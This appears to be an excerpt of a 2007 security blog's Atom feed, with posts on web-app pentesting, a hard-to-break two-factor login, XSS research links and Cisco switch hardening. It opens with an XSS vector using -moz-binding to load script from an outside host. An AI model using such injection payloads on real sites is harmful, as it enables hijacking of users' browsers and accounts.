style="-moz-binding:url(http://h4k.in/mozxss.xml#xss)" a="" type="hidden"]&lt;br /&gt;&lt;br /&gt;Thank you .mario, you helped me understand XSS a lot more.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-6499010794721199509?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/6499010794721199509/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=6499010794721199509' title='62 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6499010794721199509'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6499010794721199509'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/xss-on-vendors-website.html' title='XSS on a vendors website'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>62</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-5937148792932323083</id><published>2007-09-25T16:08:00.000+08:00</published><updated>2007-09-25T16:23:54.176+08:00</updated><title type='text'>2 Factor Authentication Update</title><content type='html'>I don't believe this, i can't basically do a SQL injection, CSRF or XSS! Everything i wanted to do is basically either encrypted or if i injection a simple character like ", it says service unavailable. This application can be considered very secure it terms of encryption and of good standard if weighing it against the OWASP top ten. Even if i enter a value like 10, this value will be encrypted with this:&lt;br /&gt;&lt;br /&gt;Name=eb56be300a5b19b600b5dac4f0e96834&amp;EventName=Immediate&amp;encryptedString=MDEyOABhBMQY7SY0WgxGKrWjOOjaB91Q%5ENy1-UynPGaVPNGwQU2bM2OR8S0f-n1SQ7Oi1IDEKHty-SGaT78SbOH-opKMolLmboo6xTgxtxth4AFbv2klQaA3ulkErBXn%5EMHuX661Ro%5EXou9P95OrVN8xYgUaY-AMZWCwuKy9cAvoiukPZWoTRxslHOjxM7JapJ9tsvyp1ifrWjrgZjxiQfgS33znbhy2IaOqGNXFaA9rR4PvbsUFcqW0hVySynpxkNKRRxvxXJBIiCDlA9h1IK93ajLouNKITFaOVTBQSuK0upPOkjEuTJnbXM3qqZyf-i8amEULAXd4AhEkBBlGgjY8a9wWXJD61NJ-aPT5cVZ0s0H1ZZpvTto8NMRI1QiJAnYPMl4WXik8LTdChQ86n1OkUeP7Hfe4Fz13-JSEq%5E%5EvpgRjznQ4ZuLQ%5EHtMQ5D6yWWTRCPXtJ6jAj1Q2ZmYfPr9Q0uQX1YXN8UlwMXcf7igpQRXtR5yRwo3pm%5E6LJlmf7Hf94B4P26-K2iIOO%5EnVUeQbyZBt3YC4tNCWt8N5IFThY53-spUvlfRBAkwkwsK0NdkCajHGVoGLiynlc1J3GCIfZ0trlITgC9WntZgIOKXVZjTwYWe5hEAuqfHSMixUSCExNu4ZC4ZUQE%5EyK%5ElvKIl3Fd8fxx-GJjVajpHikGTHgfJ8KoeNH2SpUzEWPNQy63l4BkzqaeuJ7ssxeF%5EWhwcwfKuBzRF9rV5sss%5EP3WYjD4YsJvSZx%5EqXP1j8KIf6zfyh1xSqRJREWFXG5kSWXzlj03cL7SQmNjQupwJ9L25Km7GYhEUYfZYSsbNTr44vdkrpepIyLFRIITE29CZXXyVLrlK0OAIU7V9RfzJieGW0oBylrDqKK4VvLrKVbCj2t2hUwcDQwedGQK5J0O0W6v7Oeao9i9Y0keFg006rxP0gINtf8I9U5l%5E0RMvL7SQmNjQupyj1BfoSNNPOmsVd5RBRyJUy7dmjY1z6SxKT74w1LFyX9b-Wup4Bpykv-Ojshp82HwvLmlVapYc-I5yIyi5ev-%5E6-MiaJ-eATlq7nsFDamHtLjB09kFUKPMQArFYZzeyC1wNkE6i95PP80TJ0lPfgNkMuVhq5cxP2AXB7Kum3IJKcGeIJlpRTvpqBkeQ23jFVdIK61FykzXdSO6rlPpDFI0%5EYxJ2aAUQkn3hJJwOJW50AqBr4MBG-tU&amp;encryptedString2=MDEyOABhBMQY7SY0WgxGKrWjOOjaB91Q%5ENy1-UynPGaVPNGwQU2bM2OR8S0f-n1SQ7Oi1IDEKHty-SGaT78SbOH-opKMolLmboo6xTgxtxth4AFbv2klQaA3ulkErBXn%5EMHuX661Ro%5EXou9P95OrVN8xYgUaY-AMZWCwuKy9cAvoiukPZfQSGPJ8Sz00GIRu7AqyMI3jMa6-sb5ZQJmYfPr9Q0uQs4F2ns3wU759YZpN-TxN6gqBr4MBG-tU&lt;br /&gt;&lt;br /&gt;I am running outta ideas, tell me what more can i do?? &lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-5937148792932323083?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/5937148792932323083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=5937148792932323083' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5937148792932323083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5937148792932323083'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/2-factor-authentication-update.html' title='2 Factor Authentication Update'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-9132072957992480592</id><published>2007-09-25T09:55:00.000+08:00</published><updated>2007-09-25T09:59:02.275+08:00</updated><title type='text'>2 Factor Authentication Day 2</title><content type='html'>Damn, its getting tough! Have you guys seen a 6 digit password with an encrypted&lt;br /&gt;string this long?&lt;br /&gt;&lt;br /&gt;ENCRYPTED_PASSWORD=9F9E9BB6E172C931C479665544ADC5BC96E9E7025B6E717CE3BF4BF43590C801A15DF75B2BA87C87A251D3ADE4E24966CFC3F6AA8DA8DACC89BCCD3326C1BB424569F950D5FD7EF07D42AD53E9832678375EB0D0B18E5FB1E7FEBEB23A957D6DA1E83EF4D784687571464BEBFF6B73376545B0124623C18250142786AECD5120&lt;br /&gt;&lt;br /&gt;Well, there is nothing more i can do? I dunno, still thinking:?????&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-9132072957992480592?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/9132072957992480592/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=9132072957992480592' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/9132072957992480592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/9132072957992480592'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/2-factor-authentication-day-2.html' title='2 Factor Authentication Day 2'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-6340882716764997444</id><published>2007-09-24T20:17:00.000+08:00</published><updated>2007-09-25T07:57:09.579+08:00</updated><title type='text'>2 Factor Authentication?</title><content type='html'>Well, if you guys asked me if why i havent been updating my blog? I can only say that there is so much to be done in work and of course reading a lot on Rsnake's XSS exploit and defence. Been doing a lot of project management and technical work for my new company. I love my current company because of the flexible timing, nice colleagues and of course a very nice boss who is willing to listen to suggestions.&lt;br /&gt;&lt;br /&gt;Well back to the main topic, i had been assigned to hack an application with 2 factor authentication. Damn, all i can say is it is very secure it terms of randomness in session id, hidden fields and encryption. There is no way i can break the application's login page and the only thing i found is only a jar file with lotsa class files inside. Well, i know i can use a java decompiler like jad to get the source code but i did not because i am concentrating more on finding vulnerabilities. Hmz....I will continue with part 2 tomorrow. Firefox is a very cool tool to do web hacking. Install the following extentions guys&lt;br /&gt;&lt;br /&gt;1. DOM Inspector&lt;br /&gt;2. LiveHTTP Headers&lt;br /&gt;3. Tamper Data&lt;br /&gt;4. Modify Header&lt;br /&gt;5. Firebug &lt;br /&gt;6. Greasemonkey with XSS Assistant and Post Intercepter&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-6340882716764997444?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/6340882716764997444/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=6340882716764997444' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6340882716764997444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6340882716764997444'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/2-factor-authentication.html' title='2 Factor Authentication?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1332653559579818555</id><published>2007-09-03T15:33:00.000+08:00</published><updated>2007-09-03T15:37:38.918+08:00</updated><title type='text'>Sam, Wireless Hacking, Updates</title><content type='html'>Its been a long time since i last updated my blog. I had been so busy these days with my current job. From planning to hacking. Also, i had been reading on Rsnake's and Jeremiah's book on XSS Exploit and Defence. It is a good book with great examples, however, there are some parts that i don't quite understand and i am still trying to catch up. Well, Sam, if you are reading this, check out this url below for your wireless audit.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.leetupload.com/tutorials/hackingspoonfed/part1"&gt;http://www.leetupload.com/tutorials/hackingspoonfed/part1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1332653559579818555?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1332653559579818555/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1332653559579818555' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1332653559579818555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1332653559579818555'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/sam-wireless-hacking-updates.html' title='Sam, Wireless Hacking, Updates'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-5350627656344489340</id><published>2007-08-11T12:04:00.000+08:00</published><updated>2007-08-13T22:04:19.275+08:00</updated><title type='text'>PHP Application Firewall?</title><content type='html'>I was discussing with Christ1an recently about application firewall and he actually presented me an application firewall written by pdp and maintained by &lt;a href="http://mario.heideri.ch"&gt;.mario&lt;/a&gt; , which to me is very impressive. I actually looked at the source code and i must say that i don't understand a single shit. However, it was a nice effort from Christ1an and guys devoting their time to develop a php application firewall. I am network guy, i do web audit, but i am not good in coding or programming or source code review. Well, i am still learning, i want Christ1an on my team as i think he will be a very good addition to the company. Hey Christ1an, if you read this, please holla at me alright? I want to chat with you about career opportunities, you know how to reach me. Also, for guys who wants a SQLI cheat sheet, check this out:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ha.ckers.org/sqlinjection"&gt;http://ha.ckers.org/sqlinjection&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ferruh.mavituna.com/makale/sql-injection-cheatsheet"&gt;http://ferruh.mavituna.com/makale/sql-injection-cheatsheet&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Check out the PHPIDS Team's IDS and their XSS database&lt;br /&gt;&lt;br /&gt;&lt;a href="http://php-ids.org"&gt;http://php-ids.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/xssdb/application.htm"&gt;http://www.gnucitizen.org/xssdb/application.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-5350627656344489340?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/5350627656344489340/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=5350627656344489340' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5350627656344489340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5350627656344489340'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/08/php-application-firewall.html' title='PHP Application Firewall?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2920296619647034278</id><published>2007-08-09T12:10:00.000+08:00</published><updated>2007-08-09T12:22:29.629+08:00</updated><title type='text'>Cisco IOS 12.3T onwards with Tool Command Language</title><content type='html'>I was again reading ioshints blog for cisco tricks. I must say he is the master of Cisco products and configuration. I was reading about tclsh and i must say it is very handy as i can write scripts and store it remotely, NVRAM or in the flash. Well, below are a few links that you can learn the basics of tclsh scripting.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ioshints.blogspot.com/2007/05/ios-tclsh-resources.html"&gt;http://ioshints.blogspot.com/2007/05/ios-tclsh-resources.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ioshints.blogspot.com/2007/08/example-tcl-script-with-command-line.html"&gt;http://ioshints.blogspot.com/2007/08/example-tcl-script-with-command-line.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2920296619647034278?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2920296619647034278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2920296619647034278' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2920296619647034278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2920296619647034278'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/08/cisco-ios-123t-onwards-with-tool.html' title='Cisco IOS 12.3T onwards with Tool Command Language'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-3469713031703079406</id><published>2007-08-07T21:27:00.000+08:00</published><updated>2007-08-07T21:41:44.116+08:00</updated><title type='text'>Exploiting FTP clients using PASV command</title><content type='html'>Finally, i am back home to Singapore again. I am so happy and my mood starts to brighten again. I was researching about web security and i came across Wade Alcorn's website. He found out that it was possible to launch a reverse shell and own a Asterisk server using inter-protocol Exploitation. Also, check out BeEF, which is equivalent to Metasploit type of framework for web applications. Lastly, do check out the FTP PASV command manipulation which allows FTP servers to cause vulnerable FTP clients to connect to other hosts.&lt;br /&gt;&lt;br /&gt;"The paper discusses how the FTP client flaw in detail and demonstrates how it can be used to attack common web browsers such as Konqueror, Opera and Firefox. Proof of concept code is presented that extends existing JavaScript port-scanning techniques to scan any TCP port from Firefox (even though it now implements "port banning" restrictions)."&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.bindshell.net/papers/ftppasv"&gt;http://www.bindshell.net/papers/ftppasv&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-3469713031703079406?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/3469713031703079406/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=3469713031703079406' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3469713031703079406'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3469713031703079406'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/08/exploiting-ftp-clients-using-pasv.html' title='Exploiting FTP clients using PASV command'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-693248285474819814</id><published>2007-08-05T18:13:00.000+08:00</published><updated>2007-08-05T18:22:49.708+08:00</updated><title type='text'>Michael Lynn Cisco IOS reverse shell exposed?</title><content type='html'>I was reading articles and looking at how &lt;a href="http://en.wikipedia.org/wiki/Michael_Lynn"&gt;Michael Lynn's&lt;/a&gt; exploit works in the 2005 blackhat. Nothing can be found as the code was not leaked out nor anyone knows much actual exploit. I was determined and i found something that relates to heap overflow in Cisco IOS. I think its something similiar to Michael Lynn's exploit using the IOS check_heaps() function. For more, check it out here: &lt;a href="http://www.irmplc.com/content/pdfs/Cisco_IOS_Exploitation_Techniques.pdf"&gt;http://www.irmplc.com/content/pdfs/Cisco_IOS_Exploitation_Techniques.pdf&lt;/a&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-693248285474819814?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/693248285474819814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=693248285474819814' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/693248285474819814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/693248285474819814'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/08/micheal-lynn-cisco-ios-reverse-shell.html' title='Michael Lynn Cisco IOS reverse shell exposed?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7069311555582709382</id><published>2007-08-05T12:48:00.000+08:00</published><updated>2007-08-05T13:06:09.849+08:00</updated><title type='text'>Attribute-Based XSS and Verifying if your webmail account is Hacked!</title><content type='html'>These days, i am just plain lazy. Maybe it is due to the mood that i am going back to Singapore or maybe i am just depressed with certain issues here. But whatever it is, i am still doing a lot of researching and penetration testing work. Its been a long time since i last visited Jeremiah's blog. Today, i just went through his blog and discover two interesting topic that catch my eye. One is a new XSS vector known as &lt;a href="http://jeremiahgrossman.blogspot.com/2007/07/attribute-based-cross-site-scripting.html#links"&gt;Attribut-Based Cross-Site Scripting&lt;/a&gt; and &lt;a href="http://jeremiahgrossman.blogspot.com/2007/07/how-to-check-if-your-webmail-account.html#links"&gt;How to check if your WebMail account has been hacked (Redux)&lt;/a&gt;. Check it out at &lt;a href="http://jeremiahgrossman.blogspot.com"&gt;http://jeremiahgrossman.blogspot.com&lt;/a&gt;. He described a way of how to find out a hacker had hacked into your webmail, how the new XSS vector worked and how to prevent it. It is ab absolutely must read for all webappsec ppl.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7069311555582709382?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7069311555582709382/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7069311555582709382' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7069311555582709382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7069311555582709382'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/08/attribute-based-xss-and-verifying-if.html' title='Attribute-Based XSS and Verifying if your webmail account is Hacked!'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-8284010034028353691</id><published>2007-07-27T15:13:00.000+08:00</published><updated>2007-07-27T15:33:34.839+08:00</updated><title type='text'>Basic Cisco Switches Auditing Guidelines</title><content type='html'>1. Always use VLAN to create collision domain to limit broadcast traffic. Remember that VLAN1 is the admin VLAN which is used for administrative purposes and avoid using VLAN1 to prevent hackers from plugging into unused ports to communicate with the rest of the network.&lt;br /&gt;&lt;br /&gt;2. Avoid using autotrunking mode. Dynamic Trunking Protocol allows VLAN-Hopping attacks where hackers are able to communicate in various VLANs. Assign trunk interface to the native VLAN other than VLAN 1&lt;br /&gt;&lt;br /&gt;3. Make sure Spanning Tree Protocol is mitigated from attacks. Enable portfast, bpdufiler, bpduguard, and root guard on the switches.&lt;br /&gt;&lt;br /&gt;4. Disable all unused ports on the switch to prevent hackers from plugging into unused ports to communicate with the rest of the network.&lt;br /&gt;&lt;br /&gt;5. Turn off VLAN Trunking Protocol if not in used. If required, VTP should be used with passwords enabled.&lt;br /&gt;&lt;br /&gt;6. Review the network or configuration to limit thresholds for multicast and broadcast traffic on switch ports.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-8284010034028353691?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/8284010034028353691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=8284010034028353691' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8284010034028353691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8284010034028353691'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/07/basic-cisco-switches-auditing.html' title='Basic Cisco Switches Auditing Guidelines'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-4935010064772990972</id><published>2007-07-25T14:09:00.000+08:00</published><updated>2007-07-25T14:18:05.965+08:00</updated><title type='text'>Remote Command Exec (FireFox 2.0.0.5)</title><content type='html'>These days, i am reading about web applications hacking and trying out several different stuffs. I happen to stumble across xs-sniper's page and read about his post on owning most major browsers. It appears that there is a problem with Cross Application Browser Scripting where a flaw in the URI handling behavior allows for remote command execution. Be sure to check out his post below:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://xs-sniper.com/blog/remote-command-exec-firefox-2005/"&gt;http://xs-sniper.com/blog/remote-command-exec-firefox-2005/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-4935010064772990972?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/4935010064772990972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=4935010064772990972' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4935010064772990972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4935010064772990972'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/07/remote-command-exec-firefox-2005-et-al.html' title='Remote Command Exec (FireFox 2.0.0.5)'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2747132525105929860</id><published>2007-07-19T16:28:00.000+08:00</published><updated>2007-07-19T19:08:14.119+08:00</updated><title type='text'>Thanks Chr1stian, Google Store flaw?</title><content type='html'>The other night i was talking to &lt;a href="http://christ1an.blogspot.com/"&gt;Chr1stian&lt;/a&gt; about XSS and google. We were chatting and suddenly the topic got more and more interesting. But anyway, Chr1stian is really a kind soul and a nice nice person to talk with. He taught me a lot of things which i don't understand and guide me slowy with each steps. Thank you Chr1stian for your patience, I can say that now i understand at least 90% of what you taught me. Also, we were talking about how security doesn't make money to flaws in google to google did not correct most of them holes that were reported by him. &lt;br /&gt;&lt;br /&gt;I am sure that if i got a chance to test the google application, i will find more flaws, however because of my work schedule, i don't really have the time to play around. Anyway, i still wanna say thanks to Chr1stian, don't forget our deal. :)&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2747132525105929860?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2747132525105929860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2747132525105929860' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2747132525105929860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2747132525105929860'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/07/thanks-chr1stian-google-store-flaw.html' title='Thanks Chr1stian, Google Store flaw?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-9157147125038486156</id><published>2007-07-17T10:47:00.000+08:00</published><updated>2007-07-17T15:24:27.493+08:00</updated><title type='text'>The Web Application Hackers Handbook: Discovering and Exploiting Security Flaws</title><content type='html'>Sorry for the lack of updates. Recently, i had been reading a lot of books about web hacking and RFID and neglected blogging. Its due to work nature that i have to report what i do everyday. However, just yesterday, I had a small chat with the author of the famous burp proxy and realised that he published a book call "The Web Application Hackers Handbook: Discovering and Exploiting Security Flaws". According to him, this was what he said "Our book aims to be the most comprehensive and deep guide to hacking web applications available. It covers numerous advanced topics like blind SQL/other injection, obscure logic flaws, attacking multi-stage authentication, new attacks against webusers, ViewState tampering, decompilation of thick client components, source code review, use of bespoke automation, and many more." As usual, i would always buy books to read and this one is not to be missed. If someone can guarantee me that his book is good, with experience in developing tools and giving talks in blackhat, then i will spend that kind of money in buying his books. Well, let me know what you guys think?&lt;br /&gt;&lt;br /&gt;&lt;a 